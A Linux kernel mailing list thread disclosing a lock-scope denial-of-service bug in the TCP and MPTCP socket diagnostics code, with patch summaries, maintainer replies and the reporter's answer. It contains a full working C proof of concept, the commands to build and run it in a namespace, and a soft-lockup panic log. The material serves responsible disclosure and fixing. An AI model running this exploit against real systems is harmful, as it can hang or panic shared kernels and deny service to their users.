include/linux/inet_diag.h | 15 ++ net/ipv4/inet_diag.c | 13 ++ net/ipv4/tcp_diag.c | 316 +++++++++++++++++++++++++++----------- net/mptcp/mptcp_diag.c | 124 ++++++++++----- 4 files changed, 344 insertions(+), 124 deletions(-)
Hi Linux kernel maintainers,
We found and validated a issue in net/ipv4/tcp_diag.c and
net/mptcp/mptcp_diag.c. The bug is reachable by a
non-root user via user and net namespace.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
inet_diag TCP dumps currently execute attacker-controlled
INET_DIAG_REQ_BYTECODE programs while still holding the listener,
bind, or ehash bucket locks in tcp_diag_dump(). If the bucket is
heavily populated and the bytecode is a large reject-all filter, the
dump path can spend an unbounded amount of time under the same bucket
lock while walking attacker-arranged sockets.
The reproduced listener case places 131072 SO_REUSEPORT listeners onto
one colliding listener bucket and then issues a NETLINK_SOCK_DIAG dump
request with 16380 INET_DIAG_BC_NOP instructions followed by a failing
INET_DIAG_BC_D_EQ test. Because every socket runs the full bytecode and
none reaches the reply fill path, skb backpressure does not terminate the
walk early. On the unfixed kernel this triggers a watchdog soft lockup
and then a panic in inet_diag_bc_sk().
The earlier batching fix direction was still too narrow: it only counted
sockets that survived the cheap prefilters and reached the expensive dump
path. An attacker can therefore populate one bucket with many sockets or
listeners that fail the netns/family/port or MPTCP-specific prefilters,
causing the same bucket lock to be scanned far past the 16-entry batch
threshold before control is returned.
The same root cause also exists in MPTCP listener dumping. The
MPTCP-specific mptcp_diag_dump_listeners() path reuses sk_diag_dump(),
which runs inet_diag_bc_sk() before filling the netlink reply, while the
listener bucket lock is still held.
We additionally profiled the MPTCP-specific path locally with a
separate debugging artifact. Because struct inet_diag_req_v2 stores
sdiag_protocol in an __u8 field, that request must keep
sdiag_protocol = IPPROTO_TCP and pass INET_DIAG_REQ_PROTOCOL =
u32(IPPROTO_MPTCP), otherwise 262 truncates back to TCP and never reaches
the MPTCP handler. With that corrected request, a 1-group run with 32768
listeners and 16380 NOP bytecode steps took 2082.608 ms on the fixed
kernel versus 8.601 ms on the unfixed kernel, and kprobe profiling showed
inet_diag_bc_sk() executing 32768 times on the fixed kernel but only 256
times on the unfixed one. That 256-count is not a missed path: the
unfixed mptcp_diag_dump_listeners() reuses one counter both as the
in-bucket index and as the resume cursor, so each dump restart advances
in a triangular skip pattern and stops after approximately sqrt(2N)
bytecode executions. The inline reproducer and decoded crash log below
cover the TCP panic path; the MPTCP results above are included only as
supporting local validation for the second patch.
This series fixes both sites by keeping bucket-locked sections limited to
raw socket collection and lifetime pinning, and moving all filtering,
inet_diag_bc_sk(), and socket filling work out of the locked regions so
the batch limit applies to raw bucket traversal itself. For TCP listener,
bind, and ehash buckets, and for the MPTCP listener bucket, restarts now
keep a referenced dump cursor so the next batch resumes after the
previous socket instead of rescanning the bucket head under the same
lock.
For the TCP patch, the underlying root cause predates modern git history.
The Fixes tag therefore uses commit 1da177e4c3f4
("Linux-2.6.12-rc2") as the earliest git-import boundary that still
anchors the pre-git bug in the current repository, rather than
incorrectly attributing it to a later helper or refactor commit. The
MPTCP patch uses the real introduction boundary, commit 4fa39b701ce9
("mptcp: listen diag dump support").
Reproducer:
gcc -O2 -static -o poc poc.c
unshare -Urn ./poc
For the reproduced panic log below, we enabled
softlockup panic sysctls and ran the local helper that executes:
./poc --listen --groups 4 --stride 2048 --count 32768 --nops 16380
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/inet_diag.h>
#include <linux/netlink.h>
#include <linux/sock_diag.h>
#include <linux/tcp.h>
#include <sched.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <time.h>
#include <unistd.h>
#ifndef SOL_TCP
#define SOL_TCP 6
#endif
#ifndef TCP_LISTEN
#define TCP_LISTEN 10
#endif
#define TCPF_LISTEN (1U << TCP_LISTEN)
#define DEFAULT_SOCKETS 32768U
#define DEFAULT_NOPS 16380U
#define DEFAULT_REPEAT 1U
#define DEFAULT_GROUPS 1U
#define DEFAULT_STRIDE 2048U
#define DEFAULT_BASE_PORT 10000
#define MAX_NOPS 16380U
#define RECV_BUF_SIZE (1U << 20)
struct options {
unsigned int sockets;
unsigned int nops;
unsigned int repeat;
unsigned int groups;
unsigned int stride;
unsigned int cpu;
bool cpu_set;
bool compare;
bool attack;
bool listen_mode;
int port;
};
static void usage(const char *prog)
{
fprintf(stderr,
"Usage: %s [--count N] [--nops N] [--repeat N] [--port P] [--cpu N]\n"
" [--groups N] [--stride N] [--compare] [--no-attack]\n"
" [--listen | --bound]\n"
"Defaults: --count %u --nops %u --repeat %u\n",
prog, DEFAULT_SOCKETS, DEFAULT_NOPS, DEFAULT_REPEAT);
}
static long long timespec_delta_ns(const struct timespec *start,
const struct timespec *end)
{
return (end->tv_sec - start->tv_sec) * 1000000000LL +
(end->tv_nsec - start->tv_nsec);
}
static int raise_nofile_limit(rlim_t needed)
{
struct rlimit lim;
if (getrlimit(RLIMIT_NOFILE, &lim) < 0) {
perror("getrlimit(RLIMIT_NOFILE)");
return -1;
}
if (lim.rlim_cur >= needed)
return 0;
if (lim.rlim_max < needed)
needed = lim.rlim_max;
lim.rlim_cur = needed;
if (setrlimit(RLIMIT_NOFILE, &lim) < 0) {
perror("setrlimit(RLIMIT_NOFILE)");
return -1;
}
if (getrlimit(RLIMIT_NOFILE, &lim) < 0) {
perror("getrlimit(RLIMIT_NOFILE)");
return -1;
}
if (lim.rlim_cur < needed) {
fprintf(stderr, "RLIMIT_NOFILE stayed at %llu, need %llu\n",
(unsigned long long)lim.rlim_cur,
(unsigned long long)needed);
return -1;
}
return 0;
}
static int pin_to_cpu(unsigned int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (sched_setaffinity(0, sizeof(set), &set) < 0) {
perror("sched_setaffinity");
return -1;
}
return 0;
}
static int create_socket_in_bucket(bool listen_mode, int port, int *bound_port)
{
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_addr.s_addr = htonl(INADDR_ANY),
};
socklen_t addrlen = sizeof(addr);
int one = 1;
int fd;
fd = socket(AF_INET, SOCK_STREAM | SOCK_CLOEXEC, IPPROTO_TCP);
if (fd < 0) {
perror("socket(AF_INET, SOCK_STREAM)");
return -1;
}
if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) {
perror("setsockopt(SO_REUSEADDR)");
goto err;
}
if (setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &one, sizeof(one)) < 0) {
perror("setsockopt(SO_REUSEPORT)");
goto err;
}
addr.sin_port = htons(port);
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
perror("bind");
goto err;
}
if (getsockname(fd, (struct sockaddr *)&addr, &addrlen) < 0) {
perror("getsockname");
goto err;
}
if (listen_mode) {
if (listen(fd, 0) < 0) {
perror("listen");
goto err;
}
}
*bound_port = ntohs(addr.sin_port);
return fd;
err:
close(fd);
return -1;
}
static int setup_sockets(bool listen_mode, unsigned int groups,
unsigned int count_per_group, unsigned int stride,
int requested_port, int **fds_out, int *port_out)
{
int *fds;
unsigned int g, i;
unsigned int total = groups * count_per_group;
int base_port = requested_port ? requested_port : DEFAULT_BASE_PORT;
fds = calloc(total, sizeof(*fds));
if (!fds) {
perror("calloc(socket fds)");
return -1;
}
for (g = 0; g < groups; g++) {
int port = base_port + (int)(g * stride);
if (port <= 0 || port > 65535) {
fprintf(stderr, "port overflow for group %u (base=%d stride=%u)\n",
g, base_port, stride);
goto err;
}
for (i = 0; i < count_per_group; i++) {
unsigned int idx = g * count_per_group + i;
int bound_port = port;
int fd = create_socket_in_bucket(listen_mode, bound_port,
&bound_port);
if (fd < 0) {
fprintf(stderr,
"socket setup failed at group %u index %u (port %d)\n",
g, i, port);
goto err;
}
fds[idx] = fd;
if ((idx + 1) % 4096U == 0 || idx + 1 == total) {
printf("sockets_ready=%u group=%u port=%d mode=%s\n",
idx + 1, g + 1, port,
listen_mode ? "listen" : "bound");
}
}
}
*fds_out = fds;
*port_out = base_port;
return 0;
err:
for (i = 0; i < total; i++) {
if (fds[i] > 0)
close(fds[i]);
}
free(fds);
return -1;
}
static void teardown_sockets(int *fds, unsigned int count)
{
unsigned int i;
if (!fds)
return;
for (i = 0; i < count; i++) {
if (fds[i] >= 0)
close(fds[i]);
}
free(fds);
}
static size_t build_request(void *buf, bool listen_mode, bool with_attack,
unsigned int nops)
{
size_t msg_len = NLMSG_SPACE(sizeof(struct inet_diag_req_v2));
struct nlmsghdr *nlh = buf;
struct inet_diag_req_v2 *req;
memset(buf, 0, msg_len);
nlh->nlmsg_len = msg_len;
nlh->nlmsg_type = SOCK_DIAG_BY_FAMILY;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP;
nlh->nlmsg_seq = 1;
req = NLMSG_DATA(nlh);
req->sdiag_family = AF_INET;
req->sdiag_protocol = IPPROTO_TCP;
req->idiag_states = listen_mode ? TCPF_LISTEN : (1U << 12);
req->id.idiag_cookie[0] = INET_DIAG_NOCOOKIE;
req->id.idiag_cookie[1] = INET_DIAG_NOCOOKIE;
if (with_attack) {
size_t payload_len = ((size_t)nops + 2U) *
sizeof(struct inet_diag_bc_op);
size_t attr_len = NLA_HDRLEN + payload_len;
struct nlattr *nla = (struct nlattr *)((char *)buf + msg_len);
struct inet_diag_bc_op *ops;
unsigned int i;
memset(nla, 0, NLA_ALIGN(attr_len));
nla->nla_type = INET_DIAG_REQ_BYTECODE;
nla->nla_len = attr_len;
ops = (struct inet_diag_bc_op *)((char *)nla + NLA_HDRLEN);
for (i = 0; i < nops; i++) {
ops[i].code = INET_DIAG_BC_NOP;
ops[i].yes = sizeof(struct inet_diag_bc_op);
ops[i].no = 0;
}
ops[nops].code = INET_DIAG_BC_D_EQ;
ops[nops].yes = 2U * sizeof(struct inet_diag_bc_op);
ops[nops].no = 3U * sizeof(struct inet_diag_bc_op);
ops[nops + 1].code = 0;
ops[nops + 1].yes = 0;
ops[nops + 1].no = 1;
msg_len += NLA_ALIGN(attr_len);
nlh->nlmsg_len = msg_len;
}
return msg_len;
}
static int recv_until_done(int fd)
{
char *buf;
int ret = 0;
buf = malloc(RECV_BUF_SIZE);
if (!buf) {
perror("malloc(recv buf)");
return -1;
}
for (;;) {
ssize_t received = recv(fd, buf, RECV_BUF_SIZE, 0);
struct nlmsghdr *nlh;
int remaining;
if (received < 0) {
perror("recv");
ret = -1;
break;
}
if (received == 0) {
fprintf(stderr, "recv: unexpected EOF\n");
ret = -1;
break;
}
remaining = (int)received;
for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, remaining);
nlh = NLMSG_NEXT(nlh, remaining)) {
if (nlh->nlmsg_type == NLMSG_DONE)
goto out;
if (nlh->nlmsg_type == NLMSG_ERROR) {
const struct nlmsgerr *err = NLMSG_DATA(nlh);
if (nlh->nlmsg_len < NLMSG_LENGTH(sizeof(*err))) {
fprintf(stderr, "short NLMSG_ERROR\n");
} else if (err->error) {
errno = -err->error;
perror("netlink");
} else {
fprintf(stderr, "unexpected ACK\n");
}
ret = -1;
goto out;
}
}
}
out:
free(buf);
return ret;
}
static int run_dump(bool listen_mode, bool with_attack, unsigned int nops,
double *wall_ms)
{
size_t request_len;
size_t attr_space = with_attack ?
NLA_ALIGN(NLA_HDRLEN +
((size_t)nops + 2U) *
sizeof(struct inet_diag_bc_op)) : 0;
size_t alloc_len = NLMSG_SPACE(sizeof(struct inet_diag_req_v2)) +
attr_space;
struct sockaddr_nl local = {
.nl_family = AF_NETLINK,
};
struct sockaddr_nl kernel = {
.nl_family = AF_NETLINK,
};
struct timeval timeout = {
.tv_sec = 60,
.tv_usec = 0,
};
struct iovec iov;
struct msghdr msg = {
.msg_name = &kernel,
.msg_namelen = sizeof(kernel),
.msg_iov = &iov,
.msg_iovlen = 1,
};
struct timespec start_ts;
struct timespec end_ts;
void *request;
int fd;
int ret = -1;
request = malloc(alloc_len);
if (!request) {
perror("malloc(request)");
return -1;
}
request_len = build_request(request, listen_mode, with_attack, nops);
fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_SOCK_DIAG);
if (fd < 0) {
perror("socket(AF_NETLINK)");
free(request);
return -1;
}
if (setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)) < 0) {
perror("setsockopt(SO_RCVTIMEO)");
goto out;
}
if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0) {
perror("bind(netlink)");
goto out;
}
iov.iov_base = request;
iov.iov_len = request_len;
if (clock_gettime(CLOCK_MONOTONIC_RAW, &start_ts) < 0) {
perror("clock_gettime(start)");
goto out;
}
if (sendmsg(fd, &msg, 0) < 0) {
perror("sendmsg");
goto out;
}
if (recv_until_done(fd) < 0)
goto out;
if (clock_gettime(CLOCK_MONOTONIC_RAW, &end_ts) < 0) {
perror("clock_gettime(end)");
goto out;
}
*wall_ms = (double)timespec_delta_ns(&start_ts, &end_ts) / 1000000.0;
ret = 0;
out:
close(fd);
free(request);
return ret;
}
static int parse_u32(const char *arg, unsigned int *value)
{
char *end = NULL;
unsigned long parsed;
parsed = strtoul(arg, &end, 0);
if (!end || *end || parsed > UINT32_MAX)
return -1;
*value = (unsigned int)parsed;
return 0;
}
static int parse_port(const char *arg, int *port)
{
unsigned int value;
if (parse_u32(arg, &value) < 0 || value > 65535U)
return -1;
*port = (int)value;
return 0;
}
int main(int argc, char **argv)
{
struct options opts = {
.sockets = DEFAULT_SOCKETS,
.nops = DEFAULT_NOPS,
.repeat = DEFAULT_REPEAT,
.groups = DEFAULT_GROUPS,
.stride = DEFAULT_STRIDE,
.cpu = 0,
.cpu_set = false,
.compare = false,
.attack = true,
.listen_mode = true,
.port = 0,
};
int *fds = NULL;
int port = 0;
unsigned int i;
for (i = 1; i < (unsigned int)argc; i++) {
if (strcmp(argv[i], "--count") == 0) {
if (i + 1 >= (unsigned int)argc ||
parse_u32(argv[++i], &opts.sockets) < 0 ||
opts.sockets == 0) {
usage(argv[0]);
return 1;
}
} else if (strcmp(argv[i], "--nops") == 0) {
if (i + 1 >= (unsigned int)argc ||
parse_u32(argv[++i], &opts.nops) < 0 ||
opts.nops > MAX_NOPS) {
fprintf(stderr, "--nops must be in range [0, %u]\n",
MAX_NOPS);
return 1;
}
} else if (strcmp(argv[i], "--repeat") == 0) {
if (i + 1 >= (unsigned int)argc ||
parse_u32(argv[++i], &opts.repeat) < 0 ||
opts.repeat == 0) {
usage(argv[0]);
return 1;
}
} else if (strcmp(argv[i], "--groups") == 0) {
if (i + 1 >= (unsigned int)argc ||
parse_u32(argv[++i], &opts.groups) < 0 ||
opts.groups == 0) {
usage(argv[0]);
return 1;
}
} else if (strcmp(argv[i], "--stride") == 0) {
if (i + 1 >= (unsigned int)argc ||
parse_u32(argv[++i], &opts.stride) < 0 ||
opts.stride == 0) {
usage(argv[0]);
return 1;
}
} else if (strcmp(argv[i], "--port") == 0) {
if (i + 1 >= (unsigned int)argc ||
parse_port(argv[++i], &opts.port) < 0) {
usage(argv[0]);
return 1;
}
} else if (strcmp(argv[i], "--cpu") == 0) {
if (i + 1 >= (unsigned int)argc ||
parse_u32(argv[++i], &opts.cpu) < 0) {
usage(argv[0]);
return 1;
}
opts.cpu_set = true;
} else if (strcmp(argv[i], "--compare") == 0) {
opts.compare = true;
} else if (strcmp(argv[i], "--no-attack") == 0) {
opts.attack = false;
} else if (strcmp(argv[i], "--listen") == 0) {
opts.listen_mode = true;
} else if (strcmp(argv[i], "--bound") == 0) {
opts.listen_mode = false;
} else {
usage(argv[0]);
return 1;
}
}
if (opts.groups > UINT32_MAX / opts.sockets) {
fprintf(stderr, "socket count overflow\n");
return 1;
}
if (raise_nofile_limit((rlim_t)opts.sockets * opts.groups + 64U) < 0)
return 1;
if (opts.cpu_set && pin_to_cpu(opts.cpu) < 0)
return 1;
if (setup_sockets(opts.listen_mode, opts.groups, opts.sockets,
opts.stride, opts.port, &fds, &port) < 0)
return 1;
printf("setup_complete groups=%u sockets_per_group=%u total_sockets=%u base_port=%d stride=%u mode=%s nops=%u repeat=%u compare=%s attack=%s\n",
opts.groups, opts.sockets, opts.groups * opts.sockets,
port, opts.stride, opts.listen_mode ? "listen" : "bound",
opts.nops, opts.repeat,
opts.compare ? "yes" : "no",
opts.attack ? "yes" : "no");
if (opts.compare) {
double wall_ms;
if (run_dump(opts.listen_mode, false, 0, &wall_ms) < 0) {
teardown_sockets(fds, opts.groups * opts.sockets);
return 1;
}
printf("baseline wall_ms=%.3f\n", wall_ms);
}
if (opts.attack) {
for (i = 0; i < opts.repeat; i++) {
double wall_ms;
if (run_dump(opts.listen_mode, true, opts.nops, &wall_ms) < 0) {
teardown_sockets(fds, opts.groups * opts.sockets);
return 1;
}
printf("attack_run=%u wall_ms=%.3f\n", i + 1, wall_ms);
}
}
teardown_sockets(fds, opts.groups * opts.sockets);
return 0;
}
------END poc.c--------
----BEGIN crash log----
[ 18.495442] watchdog: BUG: soft lockup - CPU#0 stuck for 3s! [poc:1034]
[ 18.495442] Modules linked in:
[ 18.495442] irq event stamp: 1545
[ 18.495442] hardirqs last enabled at (1544): [<ffffffff81ae73a9>] console_unlock+0x5a9/0x730
[ 18.495442] hardirqs last disabled at (1545): [<ffffffff81ae695e>] console_unlock+0x35e/0x730
[ 18.495442] softirqs last enabled at (1490): [<ffffffff8b61193e>] __irq_exit_rcu+0x8e/0x100
[ 18.495442] softirqs last disabled at (1485): [<ffffffff814a07a4>] __do_softirq+0x5a4/0x7f1
[ 18.495442] CPU#0 Utilization every 4s during lockup:
[ 18.495442] #1: 100% system, 0% softirq, 0% hardirq, 0% idle
[ 18.495442] #2: 100% system, 0% softirq, 0% hardirq, 0% idle
[ 18.495442] #3: 100% system, 0% softirq, 0% hardirq, 0% idle
[ 18.495442] #4: 100% system, 0% softirq, 0% hardirq, 0% idle
[ 18.495442] #5: 100% system, 0% softirq, 0% hardirq, 0% idle
[ 18.495442] CPU#0 Utilization every 5s during lockup:
[ 18.495442] #1: 100% system, 0% softirq, 0% hardirq, 0% idle
[ 18.495442] #2: 100% system, 0% softirq, 0% hardirq, 0% idle
[ 18.495442] #3: 100% system, 0% softirq, 0% hardirq, 0% idle
[ 18.495442] CPU#0 Utilization every 6s during lockup:
[ 18.495442] #1: 100% system, 0% softirq, 0% hardirq, 0% idle
[ 18.495442] #2: 100% system, 0% softirq, 0% hardirq, 0% idle
[ 18.495442] Sending NMI from CPU 1 to CPUs 0:
[ 18.495449] NMI backtrace for cpu 0
[ 18.495449] CPU: 0 UID: 0 PID: 1034 Comm: poc Not tainted 7.2.0-rc4-00390-g743916aa8e8c #5
[ 18.495449] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS unknown 2/2/2022
[ 18.495450] RIP: 0010:inet_diag_bc_sk+0xf2/0x390
[ 18.495451] Code: 89 df 49 8b 3c 24 e8 17 d0 b7 ff 49 8b 3c 24 4c 89 e6 4c 89 e2 49 8d ac 24 e0 00 00 00 e8 e0 d4 ff ff 84 c0 75 12 <4d> 8b 64 24 08 49 8d 5c 24 10 e9 40 ff ff ff 41 80 3d 29 33 84
[ 18.495451] RSP: 0018:ffffc90003bcfc68 EFLAGS: 00000246
[ 18.495452] RAX: 0000000000000000 RBX: ffff8881071f0040 RCX: 0000000000000000
[ 18.495452] RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffff888106a4ce40
[ 18.495453] RBP: ffffc90003bcfd58 R08: 0000000000000000 R09: 0000000000000000
[ 18.495453] R10: ffffc90003bcfae8 R11: 0000000000000000 R12: ffffc90003bcfd20
[ 18.495453] R13: ffffffff8ae76d60 R14: ffffc90003bcfd20 R15: ffffc90003bcfd20
[ 18.495454] FS: 0000000000000000(0000) GS:ffff88846bc00000(0000) knlGS:0000000000000000
[ 18.495454] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 18.495455] CR2: 0000000000ad8000 CR3: 0000000107018000 CR4: 0000000000350ef0
[ 18.495455] Call Trace:
[ 18.495455] <NMI>
[ 18.495456] ? nmi_cpu_backtrace+0x16f/0x2a0
[ 18.495458] ? nmi_trigger_cpumask_backtrace+0x242/0x350
[ 18.495459] ? watchdog+0x3c2/0x480
[ 18.495461] ? __pfx_watchdog+0x10/0x10
[ 18.495462] ? __hrtimer_run_queues+0x1c5/0x4f0
[ 18.495464] ? hrtimer_interrupt+0x337/0x7b0
[ 18.495465] ? __sysvec_apic_timer_interrupt+0x5f/0x1d0
[ 18.495468] ? sysvec_apic_timer_interrupt+0x4b/0xc0
[ 18.495470] ? asm_sysvec_apic_timer_interrupt+0x1a/0x20
[ 18.495472] ? inet_diag_bc_sk+0xf2/0x390
[ 18.495474] ? inet_diag_bc_sk+0x12c/0x390
[ 18.495475] ? inet_diag_bc_sk+0xf2/0x390
[ 18.495477] ? inet_diag_bc_sk+0x12c/0x390
[ 18.495478] ? inet_diag_bc_sk+0xf2/0x390
[ 18.495480] ? inet_diag_bc_sk+0x12c/0x390
[ 18.495481] ? inet_diag_bc_sk+0xf2/0x390
[ 18.495483] ? inet_diag_bc_sk+0x12c/0x390
[ 18.495484] ? inet_diag_bc_sk+0xf2/0x390
[ 18.495486] ? inet_diag_bc_sk+0x12c/0x390
[ 18.495487] ? inet_diag_bc_sk+0xf2/0x390
[ 18.495489] ? inet_diag_bc_sk+0x12c/0x390
[ 18.495490] ? inet_diag_bc_sk+0xf2/0x390
[ 18.495492] ? inet_diag_bc_sk+0x12c/0x390
[ 18.495493] ? lockdep_hardirqs_on_prepare+0xde/0x1b0
[ 18.495495] ? console_unlock+0x5a9/0x730
[ 18.495497] ? vprintk_emit+0x288/0x290
[ 18.495499] ? __warn+0xee/0x1f0
[ 18.495501] ? report_bug+0x216/0x530
[ 18.495504] ? handle_bug+0x3c/0x70
[ 18.495506] ? exc_invalid_op+0x17/0x70
[ 18.495508] ? asm_exc_invalid_op+0x1a/0x20
[ 18.495509] ? hrtimer_interrupt+0x28f/0x7b0
[ 18.495511] ? __pfx_hrtimer_interrupt+0x10/0x10
[ 18.495513] ? __sysvec_apic_timer_interrupt+0x5f/0x1d0
[ 18.495515] ? sysvec_apic_timer_interrupt+0x4b/0xc0
[ 18.495516] ? asm_sysvec_apic_timer_interrupt+0x1a/0x20
[ 18.495517] </NMI>
[ 18.495518] <TASK>
[ 18.495519] ? __pfx_inet_diag_bc_sk+0x10/0x10
[ 18.495520] ? __pfx_lock_acquire+0x10/0x10
[ 18.495522] tcp_diag_dump+0x322/0x1240
[ 18.495524] __inet_diag_dump+0x15c/0x280
[ 18.495526] netlink_dump+0x4b4/0x7f0
[ 18.495529] __netlink_dump_start+0x43b/0x5d0
[ 18.495531] inet_diag_handler_cmd+0x2ee/0x420
[ 18.495533] sock_diag_rcv_msg+0x255/0x300
[ 18.495535] ? __pfx_sock_diag_rcv_msg+0x10/0x10
[ 18.495536] netlink_rcv_skb+0x125/0x350
[ 18.495538] sock_diag_rcv+0x31/0x40
[ 18.495540] netlink_unicast+0x423/0x670
[ 18.495542] netlink_sendmsg+0x73f/0xc20
[ 18.495543] ? __pfx_netlink_sendmsg+0x10/0x10
[ 18.495545] ? __pfx_lock_acquire+0x10/0x10
[ 18.495547] ? __fget_light+0x205/0x250
[ 18.495549] __sys_sendto+0x455/0x4f0
[ 18.495551] ? __pfx___sys_sendto+0x10/0x10
[ 18.495553] ? __pfx_lock_acquire+0x10/0x10
[ 18.495555] __x64_sys_sendto+0xe5/0x120
[ 18.495556] do_syscall_64+0x66/0x160
[ 18.495557] ? __count_memcg_events+0x80/0x130
[ 18.495559] ? clear_bhb_loop+0x35/0x90
[ 18.495561] ? entry_SYSCALL_64_after_hwframe+0x76/0x7e
[ 18.495562] entry_SYSCALL_64_after_hwframe+0x76/0x7e
[ 18.495563] RIP: 0033:0x421964
[ 18.495565] Code: 89 df 49 8b 3c 24 e8 17 d0 b7 ff 49 8b 3c 24 4c 89 e6 4c 89 e2 49 8d ac 24 e0 00 00 00 e8 e0 d4 ff ff 84 c0 75 12 <4d> 8b 64 24 08 49 8d 5c 24 10 e9 40 ff ff ff 41 80 3d 29 33 84
[ 18.495567] RSP: 002b:00007ffde1d1cfc8 EFLAGS: 00000202 ORIG_RAX: 000000000000002e
[ 18.495568] RAX: ffffffffffffffda RBX: 0000000002bea910 RCX: 0000000000421964
[ 18.495570] RDX: 0000000000000000 RSI: 00007ffde1d1d040 RDI: 0000000000020003
[ 18.495571] RBP: 0000000000020003 R08: 0006b49d20000000 R09: 00007f62b3bb50e8
[ 18.495571] R10: 0000000000000004 R11: 0000000000000202 R12: 00007ffde1d1d110
[ 18.495571] R13: 0000000000003ffc R14: 0000000000010044 R15: 000000000000fffc
[ 18.495572] </TASK>
[ 18.495573] Kernel panic - not syncing: softlockup: hung tasks
-----END crash log-----
Best regards,
Zihan Xi
Zihan Xi (2):
tcp: diag: fix unbounded bucket lock hold in tcp_diag_dump()
mptcp: diag: fix unbounded listener bucket lock hold
include/linux/inet_diag.h | 15 ++
net/ipv4/inet_diag.c | 13 ++
net/ipv4/tcp_diag.c | 316 +++++++++++++++++++++++++++-----------
net/mptcp/mptcp_diag.c | 124 ++++++++++-----
4 files changed, 344 insertions(+), 124 deletions(-)
--
2.43.0
On Wed, Jul 29, 2026 at 1:29 PM Zihan Xi <zihanx@nebusec.ai> wrote: > > Hi Linux kernel maintainers, > > We found and validated a issue in net/ipv4/tcp_diag.c and > net/mptcp/mptcp_diag.c. The bug is reachable by a > non-root user via user and net namespace. > We've tested it, and it should not affect any other functionality. > > We will provide detailed information about the bug > in this email, along with a PoC to trigger it. > > ---- details below ---- > > Bug details: > > inet_diag TCP dumps currently execute attacker-controlled > INET_DIAG_REQ_BYTECODE programs while still holding the listener, > bind, or ehash bucket locks in tcp_diag_dump(). If the bucket is > heavily populated and the bytecode is a large reject-all filter, the > dump path can spend an unbounded amount of time under the same bucket > lock while walking attacker-arranged sockets. > > The reproduced listener case places 131072 SO_REUSEPORT listeners onto > one colliding listener bucket This sounds very unlikely to happen. If you cannot trust your users, you should audit them properly (e.g. limit # of FDs, use BPF LSM, etc). [...] > ----BEGIN crash log---- > [ 18.495442] watchdog: BUG: soft lockup - CPU#0 stuck for 3s! [poc:1034] [...] > [ 18.495449] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS unknown 2/2/2022 It seems the soft lockup timeout was deliberately set to be short to trigger a splat, but 3s on QEMU should be much shorter on a real machine and it should not be a problem.
On Fri, Jul 31, 2026 at 3:58 AM Kuniyuki Iwashima <kuniyu@google.com> wrote: > > On Wed, Jul 29, 2026 at 1:29 PM Zihan Xi <zihanx@nebusec.ai> wrote: > > > > Hi Linux kernel maintainers, > > > > We found and validated a issue in net/ipv4/tcp_diag.c and > > net/mptcp/mptcp_diag.c. The bug is reachable by a > > non-root user via user and net namespace. > > We've tested it, and it should not affect any other functionality. > > > > We will provide detailed information about the bug > > in this email, along with a PoC to trigger it. > > > > ---- details below ---- > > > > Bug details: > > > > inet_diag TCP dumps currently execute attacker-controlled > > INET_DIAG_REQ_BYTECODE programs while still holding the listener, > > bind, or ehash bucket locks in tcp_diag_dump(). If the bucket is > > heavily populated and the bytecode is a large reject-all filter, the > > dump path can spend an unbounded amount of time under the same bucket > > lock while walking attacker-arranged sockets. > > > > The reproduced listener case places 131072 SO_REUSEPORT listeners onto > > one colliding listener bucket > > This sounds very unlikely to happen. > > If you cannot trust your users, you should audit them > properly (e.g. limit # of FDs, use BPF LSM, etc). > > > [...] > > ----BEGIN crash log---- > > [ 18.495442] watchdog: BUG: soft lockup - CPU#0 stuck for 3s! [poc:1034] > [...] > > [ 18.495449] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS unknown 2/2/2022 > > It seems the soft lockup timeout was deliberately set to be short to > trigger a splat, but 3s on QEMU should be much shorter on a real > machine and it should not be a problem. Hi, Thanks for the feedback. The 131072-listener setup is only a concentrated reproducer for the lock scope issue. It is not meant to suggest that this exact population pattern is common in normal deployments. The issue we are trying to fix is that time spent under the bucket lock can be amplified by bucket population together with inet_diag bytecode cost, because the bytecode is currently evaluated while the bucket lock is still held. So the concern is not tied to one specific listener count or to the exact watchdog threshold used in our local setup. The soft lockup report was only used to make the long bucket-locked section visible in a small QEMU environment. The fix targets that locking property directly: keep the bucket-locked section limited to socket collection and taking references, and move bytecode/filter/fill work out of the critical section. This way, the batch limit applies to raw bucket traversal itself, instead of allowing additional work to accumulate while the lock is held. Best regards, Zihan
On 7/29/26 7:28 PM, Zihan Xi wrote:
> Hi Linux kernel maintainers,
>
> We found and validated a issue in net/ipv4/tcp_diag.c and
> net/mptcp/mptcp_diag.c. The bug is reachable by a
> non-root user via user and net namespace.
> We've tested it, and it should not affect any other functionality.
>
> We will provide detailed information about the bug
> in this email, along with a PoC to trigger it.
>
> ---- details below ----
>
> Bug details:
>
> inet_diag TCP dumps currently execute attacker-controlled
> INET_DIAG_REQ_BYTECODE programs while still holding the listener,
> bind, or ehash bucket locks in tcp_diag_dump(). If the bucket is
> heavily populated and the bytecode is a large reject-all filter, the
> dump path can spend an unbounded amount of time under the same bucket
> lock while walking attacker-arranged sockets.
>
> The reproduced listener case places 131072 SO_REUSEPORT listeners onto
> one colliding listener bucket and then issues a NETLINK_SOCK_DIAG dump
> request with 16380 INET_DIAG_BC_NOP instructions followed by a failing
> INET_DIAG_BC_D_EQ test. Because every socket runs the full bytecode and
